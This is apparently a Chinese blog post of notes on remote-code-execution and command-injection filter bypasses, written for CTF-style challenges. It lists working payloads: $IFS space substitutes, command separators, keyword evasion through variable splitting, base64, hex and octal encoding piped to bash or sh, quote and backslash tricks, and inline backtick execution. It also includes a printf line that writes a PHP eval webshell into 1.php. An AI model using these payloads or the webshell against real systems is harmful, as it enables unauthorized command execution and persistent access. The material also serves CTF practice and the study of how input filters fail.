• RCE远程代码执行-命令注入笔记


    笔记

    空格过滤:

    在bash下,可以用以下字符代替空格

    < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、$IFS$1 等

    $IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

    命令分隔符

    linux中:%0a 、%0d 、; 、& 、| 、&&、||
    windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

    ; 在 shell 中,担任”连续指令”功能的符号就是”分号”。命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行

    & 简单拼接 无制约

    && 前面执行成功后面才会执行

    | 符号 左边输出 作为右边输入,所以左边的输出并不显示。当第一条命令失败时,它仍然会执行第二条命令

    || 前面执行失败才会执行后面


    敏感字符过滤绕过

    过滤ls、cat、flag等
    • 利用变量绕过
    a=l;b=s;$a$b
    
    • 编码绕过

    base

    root@kali:~# echo 'cat' | base64
    Y2F0Cg==
    root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
    hello world!
    root@kali:~#
    

    hex:

    echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
    
    当bash被过滤时考虑使用sh,sh的大部分脚本都可以在bash下运行:
    echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
    

    oct :

    $(printf "154163") ==>ls
    $(printf "x63x61x74x20x2fx66x6cx61x67")                  ==>cat /flag
    {printf,"x63x61x74x20x2fx66x6cx61x67"}|$0             ==>cat /flag
    #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
    ${printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php
    
    • 反斜杠

    ​ ca flag

    • 未定义的初始化变量 $x
    cat$x flag.txt
    
    • 连接符
    ca''t fla''g.txt
    
    • 小技巧
      inux下创建文件的命令可以用1>1创建文件名为1的空文件
      a>1居然也可以,虽然会报错,但是还是可以创建空文件。
      ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加

    • ip地址过滤可将ip地址转化为数字ip地址

    IP地址用“点分十进制”表示,用“.”分成4部分;数字地址是一串用“十进制”表示的数字。
      比如:百度的IP地址“119.75.218.77”转换成数字地址就是“2001459789”。在浏览器中输入2001459789就可以访问百度网站
    转化网址:http://www.msxindl.com/tools/ip/ip_num.asp

    • ${}执行代码
    ${phpinfo()};
    
    ca$@t fla$@g
    
    • 内联执行(内联,就是将反引号内命令的输出作为输入执行):
    ?ip=127.0.0.1;cat$IFS$9`ls`
    
    

    参考自:https://blog.csdn.net/JBlock/article/details/88311388

    https://blog.csdn.net/silence1_/article/details/96135760

  • 相关阅读:
    统计某个状态最新出现的连续次数
    debian 10 xface 安装输入法
    Temporary failure in name resolution
    Leetcode199二叉树的右视图(宽搜)
    Leetcode200岛屿数量(深搜)
    Leetcode130. 被围绕的区域(深搜)
    Leetcode116. 填充每个节点的下一个右侧节点指针(宽搜或深搜)
    Leetcode之二叉树展开为链表(深搜)
    Leetcode之路径总和II
    vue学习02-v-text
  • 原文地址:https://www.cnblogs.com/threesoil/p/12462349.html
Copyright © 2020-2023  润新知